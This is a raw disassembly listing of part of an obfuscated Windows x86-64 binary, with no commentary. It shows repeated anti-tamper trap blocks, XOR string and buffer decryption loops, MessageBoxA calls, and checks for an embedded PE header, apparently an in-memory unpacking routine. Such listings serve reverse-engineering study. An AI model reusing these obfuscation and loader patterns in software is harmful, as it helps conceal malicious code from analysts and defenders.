mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bf78
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
test rbx, rbx
je 0x14003824f
cmp qword [rbp + 0x10f8], r14
je 0x14003824f
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002c042
mov rax, qword gs:[0x45]
movabs rcx, 0xfd0e4b779cf2199c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c022
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c022
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c042
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.1400393a0
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400c1350
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002c122
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x13d4ec0d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c102
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c102
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c122
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002c1cc
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c1ac
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c1ac
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c1cc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.140039a9c
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002c299
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x13d4ec0d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c279
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c279
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c299
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002c34d
mov rax, qword gs:[0x45]
movabs rcx, 0xfd0e4b779cf2199c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c32d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c32d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c34d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r14
mov r8d, r14d
mov rdi, r14
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14002c37a
mov esi, r14d
movabs r11, 0x8080808080808081
test r15, r15
je 0x14002c49c
mov rcx, r14
mov rax, r11
mul r15
mov r8, rdx
shr r8, 7
add r8b, r15b
mov r9, rbx
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x14002c40b
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r15
jb 0x14002c3ed
mov rbx, qword [rbp - 0x40]
xor r14d, r14d
mov r13d, 0x79aa73bc
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x3c]
mov r15d, 0xc781a205
cmp rax, r15
jne 0x14002c54c
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c52c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c52c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c54c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
mov esi, 0x13d4ec0d
cmp rax, r15
jne 0x14002c60d
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c5ed
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c5ed
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c60d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002c6b7
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c697
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c697
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c6b7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
mov ecx, 0x5a4d
cmp word [rbx], cx
je 0x14002caa6
cmp rax, r15
jne 0x14002c779
mov rax, qword gs:[0x45]
movabs rcx, 0xfd0e4b779cf2199c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c759
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c759
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c779
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e5e00]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0xfe
mov r10, r14
movabs r8, 0x1336d7cd22
mov r11, r12
movabs rbx, 0x12157fd02
movabs r9, 0x266daf9a44
movabs r13, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x12157fd01
shr rdi, cl
mov rax, r13
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, r12
cmp r8, r9
jb 0x14002c7c0
mov byte [rbp + 0x2a1], r14b
movdqa xmm0, xmmword [0x1400e5fa0]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400e5f10]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400e5d80]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x2e8a2b45
mov dword [rbp + 0xc8c], 0x38afaf72
mov dword [rbp + 0xc90], 0xfe57b03f
mov word [rbp + 0xc94], 0xe9
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x44f1f7497a
movabs r11, 0x89e3ee92f4
mov r13d, 0x79aa73bc
movabs r12, 0x8080808080808081
movabs r15, 0x12157fd01
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r12
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002c8b8
mov byte [rbp + 0xc95], r14b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword gs:[0x3c]
mov r15d, 0xc781a205
cmp rcx, r15
jne 0x14002c9f8
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c9d8
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c9d8
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c9f8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14003856b
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ca86
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ca86
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003856b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
cmp rax, r15
jne 0x14002cb47
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cb27
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cb27
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cb47
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
movsxd rdx, dword [rbx + 0x3c]
add rdx, rbx
mov qword [rbp + 0xfe8], rdx
mov rax, qword gs:[0x3c]
movabs rbx, 0xfd0e4b779cf2199c
cmp rax, r15
jne 0x14002cc09
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cbe9
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cbe9
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cc09
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
je 0x14002cff7
cmp rax, r15
jne 0x14002ccc2
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cca2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cca2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ccc2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e5e00]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0xfe
mov r10, r14
movabs r8, 0x1336d7cd22
mov r11, r12
movabs rbx, 0x12157fd02
movabs r9, 0x266daf9a44
movabs r13, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x12157fd01
shr rdi, cl
mov rax, r13
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, r12
cmp r8, r9
jb 0x14002cd09
mov byte [rbp + 0x3d9], r14b
movdqa xmm0, xmmword [0x1400e5fa0]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400e5ef0]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400e5d80]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x2e8a2b45
mov dword [rbp + 0xccc], 0x38afaf72
mov dword [rbp + 0xcd0], 0xfe57b03f
mov word [rbp + 0xcd4], 0xe9
mov r9, r14
movabs r8, 0x44f1f7497a
mov r10d, 0x3d
movabs r11, 0x89e3ee92f4
mov r13d, 0x79aa73bc
movabs r12, 0x8080808080808081
movabs r15, 0x12157fd01
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r12
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0xc98]
xor dil, r9b
mov byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002ce01
mov byte [rbp + 0xcd5], r14b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x3c]
mov r15d, 0xc781a205
cmp rax, r15
jne 0x14002cf49
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cf29
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cf29
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002cf49
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14003856b
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002cfd7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002cfd7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003856b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
cmp rax, r15
jne 0x14002d0ab
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d08b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d08b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d0ab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400e6040]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x748d8caf
mov dword [rbp + 0x98c], 0x9560d9a3
mov dword [rbp + 0x990], 0x18dc8013
mov word [rbp + 0x994], 0x189
mov byte [rbp + 0x996], al
mov r8, r14
movabs rsi, 0x12157fd01
movabs r9, 0x21e84fa63c
lea r10d, [rax + 0x1e]
movabs r13, 0x12157fd02
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r13
add r10, 0x1e
movabs rax, 0x43d09f4c78
cmp r9, rax
jb 0x14002d120
mov byte [rbp + 0x996], r14b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400e5e40]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400e5d40]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r14
movabs rbx, 0x46134f467c
movabs r9, 0x2309a7a33e
mov r10d, Ordinal_33
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r13
add r10, 0x1f
cmp r9, rbx
jb 0x14002d1d9
mov byte [rbp + 0xaf7], r14b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.140038578
mov rax, qword gs:[0x3c]
cmp rax, r15
movabs rbx, 0xfd0e4b779cf2199c
mov esi, 0x79aa73bc
jne 0x14002d347
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d327
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d327
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d347
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
mov edi, 0x13d4ec0d
cmp rax, r15
jne 0x14002d408
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d3e8
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d3e8
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d408
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
xor ecx, ecx
call fcn.1400a2fc4
mov rcx, rax
call fcn.14009e8a4
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002d4c1
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d4a1
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d4a1
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d4c1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002d56b
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d54b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d54b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d56b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002d615
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d5f5
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d5f5
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d615
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002d6bf
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d69f
